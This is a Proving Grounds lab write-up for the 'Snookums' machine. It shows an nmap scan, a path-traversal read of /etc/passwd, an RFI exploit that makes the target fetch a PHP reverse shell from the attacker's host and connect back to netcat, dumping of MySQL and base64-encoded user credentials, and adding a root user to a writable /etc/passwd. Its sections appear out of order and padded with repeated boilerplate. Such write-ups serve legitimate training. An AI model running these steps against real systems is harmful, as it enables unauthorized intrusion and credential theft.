Proving Grounds: Snookums

Authorized-lab note: This writeup documents activity performed exclusively in an authorized Offensive Security Proving Grounds lab. It is shared for educational and portfolio purposes.

Overview

To compromise this lab, you will exploit an RFI vulnerability in the Simple PHP Photo Gallery web application to gain access to a low-level user account. This exercise enhances your skills in vulnerability exploitation and privilege escalation techniques.

Learning objectives

After completion of this lab, learners will be able to:

Exploit the RFI vulnerability in the Simple PHP Photo Gallery application to gain initial access.
Retrieve MySQL root credentials from configuration files and enumerate the database for sensitive information.
Decode double-encoded passwords to recover cleartext credentials.
SSH into the target using recovered credentials and identify writable system files.
Modify /etc/passwd to create a new root-level user and confirm SYSTEM access.

Scenario

This lab involves exploiting a Remote File Inclusion (RFI) vulnerability in Simple PHP Photo Gallery v0.8 to gain initial access via a reverse shell. Learners will escalate privileges by uncovering MySQL root credentials and using double-encoded user credentials to SSH into the system. Finally, they will manipulate the /etc/passwd file to create a root-level user. The lab emphasizes web application vulnerabilities, credential reuse, and local privilege escalation techniques.

Enumeration

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

bash-4.2$ ls
# Inspect the directory for files relevant to the next step.

ls
README.txt               image.php    phpGalleryConfig.php
UpgradeInstructions.txt  images       phpGalleryStyle-RED.css
css                      index.php    phpGalleryStyle.css
db.php                   js           phpGallery_images
embeddedGallery.php      license.txt  phpGallery_thumbs
functions.php            photos       thumbnail_generator.php
# Read the file contents for useful configuration or credential data.

bash-4.2$ cat db.php
# Read the file contents for useful configuration or credential data.

cat db.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');
?>
bash-4.2$

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

mysql -u root -p
Enter password: MalapropDoffUtilize1337

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 22
Server version: 8.0.20 MySQL Community Server - GPL

Copyright (c) 2000, 2020, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

# Read the file contents for useful configuration or credential data.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> SHOW DATABASES;
SHOW DATABASES;
+--------------------+
| Database           |
+--------------------+
| SimplePHPGal       |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.04 sec)

mysql> use SimplePHPGal;
use SimplePHPGal;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> SHOW TABLES;
SHOW TABLES;
+------------------------+
| Tables_in_SimplePHPGal |
+------------------------+
| users                  |
+------------------------+
1 row in set (0.00 sec)

mysql> SELECT * FROM users;
SELECT * FROM users;
+----------+----------------------------------------------+
| username | password                                     |
+----------+----------------------------------------------+
| josh     | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldVM05EYz0= |
| michael  | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==     |
| serena   | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==     |
+----------+----------------------------------------------+
3 rows in set (0.01 sec)

mysql>

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Inspect the directory for files relevant to the next step.

[michael@snookums ~]$ ls -al /etc/passwd
ls -al /etc/passwd
-rw-r--r--. 1 michael root 1162 Jun 22  2021 /etc/passwd

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

[michael@snookums ~]$ openssl passwd -1 poop
openssl passwd -1 poop
$1$Zr0OeDo.$al2IePg5Vd1mu5mtKi.GT1

This block performs reconnaissance or local enumeration. Its output is reviewed for services, files, accounts, and other leads that guide the next step.

# Execute the next evidence-gathering step in the authorized lab.

[michael@snookums ~]$ echo 'test:$1$Zr0OeDo.$al2IePg5Vd1mu5mtKi.GT1:0:0::/root:/bin/bash' >> /etc/passwd
<Vd1mu5mtKi.GT1:0:0::/root:/bin/bash\' >> /etc/passwd

Initial Access

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# The scan output identifies the target's exposed services and their versions.

PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can\'t get directory listing: TIMEOUT
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.45.200
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.2 - secure, fast, stable
|_End of status
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:79:67:12:c7:ec:13:3a:96:bd:d3:b4:7c:f3:95:15 (RSA)
|   256 a8:a3:a7:88:cf:37:27:b5:4d:45:13:79:db:d2:ba:cb (ECDSA)
|_  256 f2:07:13:19:1f:29:de:19:48:7c:db:45:99:f9:cd:3e (ED25519)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Simple PHP Photo Gallery
111/tcp   open  rpcbind     2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|_  100000  3,4          111/udp6  rpcbind
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql       MySQL (unauthorized)
33060/tcp open  mysqlx      MySQL X protocol listener
Service Info: Host: SNOOKUMS; OS: Unix

Host script results:
| smb2-time: 
|   date: 2026-06-30T22:10:39
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.10.4)
|   Computer name: snookums
|   NetBIOS computer name: SNOOKUMS\x00
|   Domain name: \x00
|   FQDN: snookums
|_  System time: 2026-06-30T18:10:41-04:00
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 171.24 seconds

We tried SQL, FTp but nothing worked
On port 80 there is a php photo gallary v0.8
searching it online we found https://www.exploit-db.com/exploits/48424

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

─(kali㉿kali)-[~/offsec/snookums]
# Retrieve and inspect the web response from the target.

└─$ curl http://192.168.110.58/image.php?img=../../../../../../../../../../etc/passwd | grep "/bin/bash"
  % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
                                 Dload  Upload  Total   Spent   Left   Speed
100   2710 100   2710   0      0  59912      0                              0
<center><a href=''>Back to Gallery</a><center><img id='thepic' onClick='scaleImg()' src='../../../../../../../../../../etc/passwd' /><script language='javascript'>setImgWidth_handler();</script></center>root:x:0:0:root:/root:/bin/bash
michael:x:1000:1000:Michael:/home/michael:/bin/bash

RFI to RCE unauthenticated https://github.com/beauknowstech/SimplePHPGal-RCE.py/blob/main/SimplePHPGal-RCE.py

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

# Run the helper or analysis script used in this lab step.

└─$ python3 SimplePHPGal-RCE.py http://192.168.110.58/ 192.168.45.200 21  
[✔] Serving HTTP traffic from /home/kali/offsec/Tools on 192.168.45.200 using port 80 in background
Run 'nc -nlvp 21' on attacker machine in another terminal. Then press any key to continue
Attempting to reach reverse shell on 192.168.45.200 on port 80
192.168.110.58 - - [30/Jun/2026 18:33:55] "GET /rev.php HTTP/1.0" 200 -
Request sent. Check your nc for a connection

This block uses the identified entry point to obtain or validate an initial foothold. The resulting response or session confirms whether access was achieved.

┌──(kali㉿kali)-[~/offsec/snookums]
# Execute the next evidence-gathering step in the authorized lab.

└─$ rlwrap nc -nlvp 21  
listening on [any] 21 ...
connect to [192.168.45.200] from (UNKNOWN) [192.168.110.58] 52364
SOCKET: Shell has connected! PID: 2574
# Run the helper or analysis script used in this lab step.

python3 -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: line 1: python3: command not found
# Run the helper or analysis script used in this lab step.

python -c 'import pty; pty.spawn("/bin/bash")'
# Execute the next evidence-gathering step in the authorized lab.

bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-4.2$